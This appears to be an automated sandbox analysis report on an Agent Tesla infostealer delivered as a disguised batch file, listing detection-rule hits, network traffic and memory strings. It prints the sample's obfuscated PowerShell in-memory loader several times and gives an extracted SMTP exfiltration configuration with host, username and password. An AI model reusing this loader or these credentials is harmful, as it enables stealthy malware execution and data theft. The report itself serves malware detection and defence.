| Select-Object -Last 1; $Wbqkngq = [System.Convert]::FromBase64String($Gcbnyd);$Wwtukg = New-Object System.IO.MemoryStream( , $Wbqkngq );$Dsvtbpwioop = New-Object System.IO.MemoryStream;$Aslrlsosng = New-Object System.IO.Compression.GzipStream $Wwtukg, ([IO.Compression.CompressionMode]::Decompress);$Aslrlsosng.CopyTo( $Dsvtbpwioop );$Aslrlsosng.Close();$Wwtukg.Close();[byte[]] $Wbqkngq = $Dsvtbpwioop.ToArray();[Array]::Reverse($Wbqkngq); $Fmbtk = [System.AppDomain]::CurrentDomain.Load($Wbqkngq); $Gxbkjncruwk = $Fmbtk.EntryPoint; $Gxbkjncruwk.DeclaringType.InvokeMember($Gxbkjncruwk.Name, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $null)| Out-Null", CommandLine|base64offset|contains: hv)^, Image: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq, NewProcessName: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq, OriginalFileName: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\PRODUCT-PICTURE.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7336, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq -WindowStyle hidden -command "$Gcbnyd = get-content 'C:\Users\user\Desktop\PRODUCT-PICTURE.bat' | Select-Object -Last 1; $Wbqkngq = [System.Convert]::FromBase64String($Gcbnyd);$Wwtukg = New-Object System.IO.MemoryStream( , $Wbqkngq );$Dsvtbpwioop = New-Object System.IO.MemoryStream;$Aslrlsosng = New-Object System.IO.Compression.GzipStream $Wwtukg, ([IO.Compression.CompressionMode]::Decompress);$Aslrlsosng.CopyTo( $Dsvtbpwioop );$Aslrlsosng.Close();$Wwtukg.Close();[byte[]] $Wbqkngq = $Dsvtbpwioop.ToArray();[Array]::Reverse($Wbqkngq); $Fmbtk = [System.AppDomain]::CurrentDomain.Load($Wbqkngq); $Gxbkjncruwk = $Fmbtk.EntryPoint; $Gxbkjncruwk.DeclaringType.InvokeMember($Gxbkjncruwk.Name, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $null)| Out-Null", ProcessId: 7460, ProcessName: PRODUCT-PICTURE.bat.Usq

Sigma detected: Gzip Archive Decode Via PowerShell

Source: Process started

Author: Hieu Tran: Data: Command: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq -WindowStyle hidden -command "$Gcbnyd = get-content 'C:\Users\user\Desktop\PRODUCT-PICTURE.bat' | Select-Object -Last 1; $Wbqkngq = [System.Convert]::FromBase64String($Gcbnyd);$Wwtukg = New-Object System.IO.MemoryStream( , $Wbqkngq );$Dsvtbpwioop = New-Object System.IO.MemoryStream;$Aslrlsosng = New-Object System.IO.Compression.GzipStream $Wwtukg, ([IO.Compression.CompressionMode]::Decompress);$Aslrlsosng.CopyTo( $Dsvtbpwioop );$Aslrlsosng.Close();$Wwtukg.Close();[byte[]] $Wbqkngq = $Dsvtbpwioop.ToArray();[Array]::Reverse($Wbqkngq); $Fmbtk = [System.AppDomain]::CurrentDomain.Load($Wbqkngq); $Gxbkjncruwk = $Fmbtk.EntryPoint; $Gxbkjncruwk.DeclaringType.InvokeMember($Gxbkjncruwk.Name, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $null)| Out-Null", CommandLine: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq -WindowStyle hidden -command "$Gcbnyd = get-content 'C:\Users\user\Desktop\PRODUCT-PICTURE.bat' | Select-Object -Last 1; $Wbqkngq = [System.Convert]::FromBase64String($Gcbnyd);$Wwtukg = New-Object System.IO.MemoryStream( , $Wbqkngq );$Dsvtbpwioop = New-Object System.IO.MemoryStream;$Aslrlsosng = New-Object System.IO.Compression.GzipStream $Wwtukg, ([IO.Compression.CompressionMode]::Decompress);$Aslrlsosng.CopyTo( $Dsvtbpwioop );$Aslrlsosng.Close();$Wwtukg.Close();[byte[]] $Wbqkngq = $Dsvtbpwioop.ToArray();[Array]::Reverse($Wbqkngq); $Fmbtk = [System.AppDomain]::CurrentDomain.Load($Wbqkngq); $Gxbkjncruwk = $Fmbtk.EntryPoint; $Gxbkjncruwk.DeclaringType.InvokeMember($Gxbkjncruwk.Name, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $null)| Out-Null", CommandLine|base64offset|contains: hv)^, Image: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq, NewProcessName: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq, OriginalFileName: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\PRODUCT-PICTURE.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7336, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq -WindowStyle hidden -command "$Gcbnyd = get-content 'C:\Users\user\Desktop\PRODUCT-PICTURE.bat' | Select-Object -Last 1; $Wbqkngq = [System.Convert]::FromBase64String($Gcbnyd);$Wwtukg = New-Object System.IO.MemoryStream( , $Wbqkngq );$Dsvtbpwioop = New-Object System.IO.MemoryStream;$Aslrlsosng = New-Object System.IO.Compression.GzipStream $Wwtukg, ([IO.Compression.CompressionMode]::Decompress);$Aslrlsosng.CopyTo( $Dsvtbpwioop );$Aslrlsosng.Close();$Wwtukg.Close();[byte[]] $Wbqkngq = $Dsvtbpwioop.ToArray();[Array]::Reverse($Wbqkngq); $Fmbtk = [System.AppDomain]::CurrentDomain.Load($Wbqkngq); $Gxbkjncruwk = $Fmbtk.EntryPoint; $Gxbkjncruwk.DeclaringType.InvokeMember($Gxbkjncruwk.Name, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $null)| Out-Null", ProcessId: 7460, ProcessName: PRODUCT-PICTURE.bat.Usq

Sigma detected: PSScriptPolicyTest Creation By Uncommon Process

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq, ProcessId: 7460, TargetFilename: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_20dcboky.n3d.ps1

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq, CommandLine: xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\xcopy.exe, NewProcessName: C:\Windows\System32\xcopy.exe, OriginalFileName: C:\Windows\System32\xcopy.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\PRODUCT-PICTURE.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7336, ParentProcessName: cmd.exe, ProcessCommandLine: xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq, ProcessId: 7416, ProcessName: xcopy.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 163.44.198.71, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe, Initiated: true, ProcessId: 7580, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IV.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IV.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IV.vbs" , ProcessId: 7768, ProcessName: wscript.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq, ProcessId: 7460, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IV.vbs

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-03T07:28:15.612437+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.4	49732	TCP
2024-11-03T07:28:54.727470+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.4	49740	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "nffplp.com", "Username": "airlet@nffplp.com", "Password": "$Nke%8XIIDtm"}

Multi AV Scanner detection for submitted file

Source: PRODUCT-PICTURE.bat

Virustotal: Detection: 11%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1691416942.0000000005189000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000905C000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1716569673.0000000008E30000.00000004.08000000.00040000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1839930699.0000000005200000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1691416942.0000000005189000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000905C000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1716569673.0000000008E30000.00000004.08000000.00040000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1839930699.0000000005200000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: powershell.pdbUGP source: PRODUCT-PICTURE.bat.Usq, 00000006.00000000.1671765662.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, IV.bat.Usq, 0000000F.00000000.1808657724.0000000000F78000.00000020.00000001.01000000.00000009.sdmp, IV.bat.Usq.13.dr, PRODUCT-PICTURE.bat.Usq.4.dr
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.0000000008F01000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1715722555.0000000008740000.00000004.08000000.00040000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000905C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.0000000008F01000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1715722555.0000000008740000.00000004.08000000.00040000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000905C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: powershell.pdb source: PRODUCT-PICTURE.bat.Usq, 00000006.00000000.1671765662.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, IV.bat.Usq, 0000000F.00000000.1808657724.0000000000F78000.00000020.00000001.01000000.00000009.sdmp, IV.bat.Usq.13.dr, PRODUCT-PICTURE.bat.Usq.4.dr

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior

Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 4x nop then jmp 08E29D15h	6_2_08E29C27
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 4x nop then jmp 08E23FB8h	6_2_08E23EF9
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	6_2_08E2878C
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	6_2_08E28790
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 4x nop then jmp 08E29D15h	6_2_08E29F90
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 4x nop then jmp 08E23FB8h	6_2_08E23F00
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	6_2_08EDD038
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 4x nop then jmp 088E9D15h	15_2_088E9C2A
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 4x nop then jmp 088E3FB8h	15_2_088E3EF9
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 4x nop then jmp 088E9D15h	15_2_088E9F95
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	15_2_088E8790
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 4x nop then jmp 088E3FB8h	15_2_088E3F00
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	15_2_088E8740
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	15_2_08FCD038

Networking

Yara detected Generic Downloader

Source: Yara match	File source: 7.2.InstallUtil.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.IV.bat.Usq.92c0790.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 163.44.198.71:587

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 163.44.198.71 163.44.198.71

Source: Joe Sandbox View	ASN Name: TUT-ASUS TUT-ASUS
Source: Joe Sandbox View	ASN Name: GMO-Z-COM-THGMO-ZcomNetDesignHoldingsCoLtdSG GMO-Z-COM-THGMO-ZcomNetDesignHoldingsCoLtdSG

Source: unknown

DNS query: name: ip-api.com

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.4:49740
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.4:49732

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 163.44.198.71:587

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: nffplp.com

Source: InstallUtil.exe, 00000007.00000002.1865949536.0000000004BEF000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1838849296.0000000000915000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1851117806.0000000002563000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4151602700.0000000000F65000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4152808981.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4154044775.0000000002AFD000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4167941974.0000000005DF5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: InstallUtil.exe, 00000007.00000002.1865949536.0000000004BEF000.00000004.00000020.00020000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1834642115.0000000000C1D000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4167941974.0000000005E2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: IV.bat.Usq, 0000000F.00000002.1902983506.00000000073A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1710281149.00000000072DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro5
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1710281149.0000000007308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft5
Source: InstallUtil.exe, 00000007.00000002.1838849296.0000000000870000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1865949536.0000000004BEF000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1838849296.0000000000915000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1851117806.0000000002563000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4152808981.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4167941974.0000000005E2F000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4154044775.0000000002AFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicServerAuthenticationRootE46.crl0
Source: InstallUtil.exe, 00000007.00000002.1838849296.0000000000870000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1865949536.0000000004BEF000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1838849296.0000000000915000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1851117806.0000000002563000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4152808981.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4167941974.0000000005E2F000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4154044775.0000000002AFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicServerAuthenticationRootE46.p7c0#
Source: InstallUtil.exe, 00000007.00000002.1865949536.0000000004BD2000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1865949536.0000000004BEF000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1838849296.0000000000915000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1851117806.0000000002563000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4154044775.0000000002AFD000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4167941974.0000000005DF5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/cPanelECCDomainValidationSecureServerCA3.crt0#
Source: InstallUtil.exe, 00000007.00000002.1851117806.0000000002501000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4154044775.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1691416942.0000000005252000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000932C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1851117806.0000000002501000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1835721747.0000000000532000.00000040.00000400.00020000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1911240345.00000000092AB000.00000004.00000800.00020000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1839930699.00000000052C4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4154044775.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: InstallUtil.exe, 00000007.00000002.1851117806.0000000002563000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4154044775.0000000002AFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nffplp.com
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1700095915.0000000005C7C000.00000004.00000800.00020000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1876882803.0000000005CFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: InstallUtil.exe, 00000011.00000002.4151602700.0000000000F20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comod
Source: InstallUtil.exe, 00000007.00000002.1865949536.0000000004BEF000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1838849296.0000000000915000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1851117806.0000000002563000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4151602700.0000000000F65000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4152808981.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4154044775.0000000002AFD000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4167941974.0000000005DF5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: InstallUtil.exe, 00000007.00000002.1865949536.0000000004BD2000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1838849296.0000000000870000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1865949536.0000000004BEF000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1838849296.0000000000915000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1851117806.0000000002563000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4152808981.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4167941974.0000000005E2F000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4151602700.0000000000F20000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4154044775.0000000002AFD000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4167941974.0000000005DF5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: IV.bat.Usq, 0000000F.00000002.1839930699.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1691416942.0000000004C11000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1851117806.0000000002501000.00000004.00000800.00020000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1839930699.0000000004C91000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4154044775.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: IV.bat.Usq, 0000000F.00000002.1839930699.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1710281149.0000000007308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1691416942.0000000005252000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000932C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1835721747.0000000000532000.00000040.00000400.00020000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1911240345.00000000092AB000.00000004.00000800.00020000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1839930699.00000000052C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1691416942.0000000004C11000.00000004.00000800.00020000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1839930699.0000000004C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBtq
Source: IV.bat.Usq, 0000000F.00000002.1876882803.0000000005CFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: IV.bat.Usq, 0000000F.00000002.1876882803.0000000005CFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: IV.bat.Usq, 0000000F.00000002.1876882803.0000000005CFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: IV.bat.Usq, 0000000F.00000002.1839930699.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.0000000008F01000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1715722555.0000000008740000.00000004.08000000.00040000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000905C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.0000000008F01000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1715722555.0000000008740000.00000004.08000000.00040000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000905C000.00000004.00000800.00020000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1911240345.0000000009192000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.0000000008F01000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1715722555.0000000008740000.00000004.08000000.00040000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000905C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1700095915.0000000005C7C000.00000004.00000800.00020000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1876882803.0000000005CFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
